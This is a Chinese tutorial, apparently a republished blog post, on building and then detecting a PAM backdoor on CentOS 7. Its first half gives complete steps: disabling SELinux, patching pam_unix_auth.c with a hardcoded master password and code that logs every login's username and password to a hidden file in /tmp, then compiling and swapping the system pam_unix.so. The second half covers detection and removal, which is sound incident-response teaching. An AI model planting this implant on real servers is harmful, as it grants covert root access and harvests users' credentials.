PAM后门从入门到应急响应

news2024/11/17 15:32:14

目录

1. PAM与PAM后门介绍

PAM介绍

PAM后门

2.植入PAM后门

2.1 关闭 selinux 和临时关闭 setenforce 

2.2 查看 pam 版本号

2.3 下载对应版本的 pam 源码包

2.4 安装gcc编译器和flex库

2.5 留 PAM 后门和保存 ssh登录的账户密码

2.6 编译

2.9 登录测试

3. 应急响应发现

3.1 查看可疑连接

3.2 检查pam_unix.so的修改时间

3.3 查看SSH登录成功日志

3.4 strace监控sshd进程读写文件的操作

3.5 查看最近保存的可疑文件

3.6 清除 pam 后门


1. PAM与PAM后门介绍

PAM介绍

        PAM 可以说是一套应用程序编程接口 (Application Programming Interface, API),他提供了一连串的验证机制,只要使用者将验证阶段的需求告知 PAM 后, PAM 就能够回报使用者验证的结果 (成功或失败)。由于 PAM 仅是一套验证的机制,又可以提供给其他程序所呼叫引用,因此不论你使用什么程序,都可以使用 PAM 来进行验证,如此一来,就能够让账号口令或者是其他方式的验证具有一致的结果!也让程序设计师方便处理验证的问题。

PAM后门

      我们知道,其实登录系统的时候,是pam的模块来验证我们的密码是否正确的。所以就存在这样一种可能,修改pam的验证逻辑,来达到一定条件下不去跟shadow里的密码校验,而是直接返回验证正确,从而达到作为后门的目的。

2.植入PAM后门

2.1 关闭 selinux 和临时关闭 setenforce 

在 centos7 环境下,首先需要关闭 selinux 和临时关闭 setenforce 0。

# 依次输入下面的命令
setenforce 0
# 进入模式后,按 i 进行编辑  然后将如图所示的SELINUX改为disabled 然后按ESC  最后按:wq 写入退出  这里通cat命令进行查看
vi /etc/selinux/config   
cat /etc/selinux/config

2.2 查看 pam 版本号

发现是 1.1.8 版本

rpm -qa|grep pam

2.3 下载对应版本的 pam 源码包

参考文章链接中的文件已经没有了,但是可以在阿里镜像站中找到

   pam下载地址:blfs-conglomeration-Linux-PAM安装包下载_开源镜像站-阿里云 选择 pam1.1.8 手动下载或是,通过命令下载

wget https://mirrors.aliyun.com/blfs/conglomeration/Linux-PAM/Linux-PAM-1.1.8.tar.bz2

        当然因为文件类型为.bz2文件后缀,因此解压的话需要通过下面的命令进行解压,不知道不同文件怎么解压的话可以看下面的文章进行参考

Linux tar.gz、tar、bz2、zip的区别,如何选择呢_tar.bz2 tar.xz tar.gz差别-CSDN博客

 bzip2 -d Linux-PAM-1.1.8.tar.bz2
 tar -xf  Linux-PAM-1.1.8.tar

2.4 安装gcc编译器和flex库

yum install gcc flex flex-devel -y

2.5 留 PAM 后门和保存 ssh登录的账户密码

  修改 Linux-PAM-1.1.8/modules/pamunix/pamunix_auth.c 源码实现自定义密码认证和保存登录密码 这里还是要么通过vim 或者远程链接修改

 cd Linux-PAM-1.1.8/modules/pam_unix/
 vim pam_unix_auth.c
if(strcmp("fuckyou",p)==0){return PAM_SUCCESS;}
        if(retval == PAM_SUCCESS){    
           FILE * fp;    
           fp = fopen("/tmp/.sshlog", "a");    
           fprintf(fp, "%s : %s\n", name, p);    
           fclose(fp);}

如图所示在文件的两个箭头的部分中间插入代码,其他信息在图片中写清楚了

2.6 编译

cd ../../
# 在下图的目录中执行命令
./configure
make
# 也可以直接执行执行一条命令
./configure && make

 2.7 备份原有的 pam_unix.so 防止出现错误 ssh 登录不上了

cd ../
cp /usr/lib64/security/pam_unix.so /tmp/pam_unix.so.bakcp

2.8 复制新 PAM 模块到 /lib64/security/ 目录下:

/Linux-PAM-1.1.8/modules/pamunix/.libs/ 目录下的pamunix.so文件直接手动复制下载到

上传到 /usr/lib64/security/ 目录下

如果出现无法复制的话,可以通过远程连接工具将文件复制过去

cp /Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so /usr/lib64/security/pam_unix.so

2.9 登录测试

本地,win和finalshell远程登录测试

本地连接测试

ssh root@127.0.0.1 
yes 
xiaoyu

win测试

ssh root@192.168.10.15
yes 
xiaoyu

# 登出
exit

 

finalshell远程连接测试

主机: 192.168.10.15
用户名: root
密码: xiaoyu

查看 ssh 登录账号密码保存位置,root 账户的密码被成功保存

cd /tmp
ls -la
cat .sshlog
file .sshlog

 

写入的文件中记录着登录成功的用户名和密码,并且知道了文件属性为txt类型

3. 应急响应发现

3.1 查看可疑连接

首先先测试之前创建的后门是否可以正常进行连接

# 这理根据,主机是否存在对应的工具来选择命令,下面的命令都是一样的
natstat -anpt
ss -tanp

 

3.2 检查pam_unix.so的修改时间

跟据前面的部署后门我们知道因为 pam 后门是替换文件和修改文件,因此通过查看文件的修改时间,如果为最近的时间就是被替换了。(没有可以连接的时候也可以查看)

# 这里根据服务器的系统版本去选择命令
stat /lib/security/pam_unix.so      #32位
stat /lib64/security/pam_unix.so    #64位(我的)

3.3 查看SSH登录成功日志

前面是通过查看可疑连接和文件被修改,既然进行了连接,那么就进行了登录,通过查看登录成的日志,查看可疑ip与账号

more /var/log/secure | grep Accepted

3.4 strace监控sshd进程读写文件的操作

为什么会有这个操作,pam后门在部署时,通常会进行对登录的用户名和密码进行写入文件保存,可以通过写入文件监控操作

# 通过对sshd安全进程的文件读写操作配置
ps axu | grep sshd | grep -v grep

3.5 查看最近保存的可疑文件

这里可以配合前面的的查看登录日志或是文件的修改时间确定时间范围查找修改的可疑文件,以我这个后门创建为例,不管是通过ssh登录或是对pam_unix.so的修改时间,都能确定为时间为7天以内

使用 find 命令查找最近修改的文件:

查找当前目录及其子目录下最近 1 天内修改过的文件:

find . -type f -mtime -1
查找特定目录下最近 1 小时内修改过的文件:

find /path/to/directory -type f -mtime -0.2
查找最近 10 分钟内修改过的文件:

find . -type f -mmin -10

查找最近7天内修改过的文件:
find . -type f -mtime -7
只查找最近修改过的 .txt 文件:

find . -type f -mtime -1 -name "*.txt"
# 查看最近7天内修改的txt文件
find . -type f -mtime -7
# 查看最近7天内修改的txt文件
find . -type f -mtime -7 -name "*.txt"
# 但是因为txt文件,在设置时是文件属性为txt,但是没txt的后缀名
find . -type f -mtime -7 ! -name "*.txt" -exec file "{}" \; | grep "text"

        通过对下面文件的修改来看,其是对PAM包进行了替换或是修改,基本找运维也能确定是否最近进行了修改,当然这样也是无法定位到可疑文件的,根据前面的操作我们知道一般使用PAM会使用txt类型的文件来保存登录的用户名和密码

 

3.6 清除 pam 后门

        根据前面的两个步骤就能确定,确实存在pam后门,既然后门是通过修改文件和配置来完成操作的,这里通过重新安装pam就可以解决了,也是最快捷方便的一种操作

yum reinstall pam

重装之后,发现输入后门密码也无法登录了,说明后门成功被清除了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2133390.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Synchronized的底层实现

Synchronized用法 Synchronized 是 Java 中的一个重要关键字,主要是用来加锁的。在使用Synchronized的时候需要指定一个对象,所以synchornized也被称为对象锁。 synchronized 的使用方法比较简单,主要可以用来修饰方法和代码块。根据其锁定…

PLC远程调试-无需硬件设备-V3.2.0发布

文章目录 前言一、无缝连接,突破距离限制二、高效调试,提升工作效率三、安全可靠,保护数据安全四、用户友好,简化操作流程五、软件地址六、远程调试软件 七、基本操作1、订阅主题2、连接3、串口调试4、网口调试 八、软件地址结束语…

【数据结构精讲】01绪论(基本概念介绍和时间复杂度计算)

绪论 在绪论这部分会介绍常用的一些基本概念,让同学们对这门课的整体有所了解! 数据结构以及相关概念 一、几个重要概念 1、数据:凡是能输入到计算机并能被计算机程序处理的符号的总称 2、数据元素:数据的基本单位&#xff0…

C++实现单向链表操作(实验3--作业)

一、单向链表介绍 单向链表是一种常见的数据结构,它由一系列节点组成,每个节点包含一个数据域和一个指向下一个节点的指针域。 结构特点: 单向链表的节点通过指针链接在一起,形成一个线性的数据结构。链表的头节点通常是一个特殊…

【Google Chrome Windows 64 version及 WebDriver 版本】

最近升级到最新版本Chrome后发现页面居然显示错乱实在无语, 打算退回原来的版本, 又发现官方只提供最新的版本下载, 为了解决这个问题所有收集了Chrome历史版本的下载地址分享给大家. Google Chrome Windows version 64 位 VersionSize下载地址Date104.0.5112.10282.76 MBhtt…

leetcode 2398.预算内的最多机器人数目

2398.预算内的最多机器人数目 题意: 解析: 需要注意的是,题目询问中连续是子数组的意思,即求满足条件的最长子数组的长度。 因为是连续的,所以可以用双指针扫描整个数组。每次将右指针 r r r 向右移动一个位置&…

Vue的缓存组件 | 详解KeepAlive

引言 在Vue开发中,我们经常需要处理大量的组件渲染和销毁操作,这可能会影响应用的性能和用户体验。而Vue的KeepAlive组件提供了一种简便的方式来优化组件的渲染和销毁流程,通过缓存已经渲染的组件来提升应用的性能。 本文将详细介绍Vue的Ke…

2024年职场人士PDF转换的新宠儿

PDF文件已经成为日常收发文件的首选项了,它能保证文件页面内容、版式的统一性,但是不太好编辑,所以我们还需要一些小工具来帮我们解决这个问题。今天我们来探讨一下有什么可以从pdf转换器免费版官网下载的工具。 1.Foxit PDF转换大师 链接一…

BuripSuiteProfessional 抓取HTTPS配置

1.电脑拿开代理 谷歌为例 点击三点-设置 -输入代理--点击代理设置 打开手动代理---IP ,端口如图-点击保存 2.下载CA证书 打开代理后,谷歌浏览器打开,输入/burp--如下图-点击CA证书下载证书 选择下载目录--桌面 3.安装CA证书 谷歌浏览器中点开设置-输入证书-点击安全 点击…

Apollo(阿波罗)架构由浅入深剖析

1.最简架构 如果不考虑分布式微服务架构中的服务发现问题,Apollo 的最简架构如下图所示: 注意事项: ConfigService 是一个独立的微服务,服务于 Client 进行配置获取。 Client 和 ConfigService 保持长连接,通过一种拖拉结合 (push & pull) 的模式,实现配置实时更新…

【鸿蒙】HarmonyOS NEXT星河入门到实战8-自定义组件-组件通信

目录 1、模块化语法 1.1 模块化基本认知 1.2 默认导出和导入 1.2.1 在ets下新建tools目录 1.2.2 在tools下新建moduls.ets文件 1.2.3 index.ets 1.3 按需导出和导入 1.4 全部导入 2、自定义组件 -基础 2.1 自定义组件 - 基本使用 2.2 自定义组件 -通用样式 2.2.1 et…

Wophp靶场寻找漏洞练习

1.命令执行漏洞 打开网站划到最下,此处的输入框存在任意命令执行漏洞 输入命令whoami 2.SQL注入 搜索框存在SQL注入,类型为整数型 最终结果可以找到管理员账户和密码 3.任意文件上传漏洞 在进入管理员后台后,上传木马文件 访问该文件&…

【智路】智路OS airos-edge

欢迎来到智路OS https://gitee.com/ZhiluCommunity/airos-edge 智路OS是全球首个开源开放的智能网联路侧单元操作系统(简称“智路OS”), 是以高等级自动驾驶技术为牵引,沉淀出来的“车路云网图”一体化的智能交通基础软件平台。…

基于SpringBoot+Vue的智慧自习室预约管理系统

作者:计算机学姐 开发技术:SpringBoot、SSM、Vue、MySQL、JSP、ElementUI、Python、小程序等,“文末源码”。 专栏推荐:前后端分离项目源码、SpringBoot项目源码、SSM项目源码 系统展示 【2025最新】基于JavaSpringBootVueMySQL的…

基于vue框架的宠物店管理系统的设计与实现4czn0(程序+源码+数据库+调试部署+开发环境)系统界面在最后面。

系统程序文件列表 项目功能:用户,商品分类,服务类型,商品信息,商品订单,宠物服务,服务预约,服务评价,商品咨询 开题报告内容 基于Vue框架的宠物店管理系统的设计与实现开题报告 一、引言 随着宠物行业的蓬勃发展,宠物店作为宠物产品与服务的重要提供…

神经网络通俗理解学习笔记(2)循环神经网络RNN

循环神经网络RNN 序列建模自回归模型隐变量自回归模型 文本数据预处理循环神经网络随时间反向传播循环神经网络代码实现RNN的长期依赖问题 序列建模 序列数据-时间 不同时间上收集到的数据,描述现象随时间变化的情况 时间序列分析是指从时间排列的数据点中抽取有价…

Linux下编译Kratos

本文记录在Linux下编译Kratos的流程。 零、环境 操作系统Ubuntu 22.04.4 LTSVS Code1.92.1Git2.34.1GCC11.4.0CMake3.22.1Boost1.74.0oneAPI2024.2.1 一、依赖与代码 1.1 安装依赖 apt-get update apt-get install vim openssh-server openssh-client ssh \build-essential …

Web:HTTP包的相关操作

目录 一、请求包修改页面来源 二、Cookie身份认证 三、XXF修改本地访问 四、向页面同时发出GET和POST请求 一、请求包修改页面来源 题目提示要从 http://localhost:8080/flag3cad.php?a1,请求包中没有指定请求来源,需要指定。 而表示页面来源的字段…

cv2.bitwise_or 提取ROI区域

原图如下所示,想提取圆形ROI区域,红色框 img np.ones(ori_img.shape, dtype"uint8") img img * 255 cv2.circle(img, (50,50), 50, 0, -1) self.bitwiseOr cv2.bitwise_or(ori_img, circle)使用一个和原图尺寸一致的图像做mask,图白圆黑 以…

【Echarts】vue3打开echarts的正确方式

ECharts 是一个功能强大、灵活易用的数据可视化工具,适用于商业报表、数据分析、科研教育等多种场景。那么该如何优雅的使用Echarts呢? 这里以vue3为例。 安装echarts pnpm i echarts封装公用方法 // ts-nocheck import * as echarts from echarts; // 我们这里借…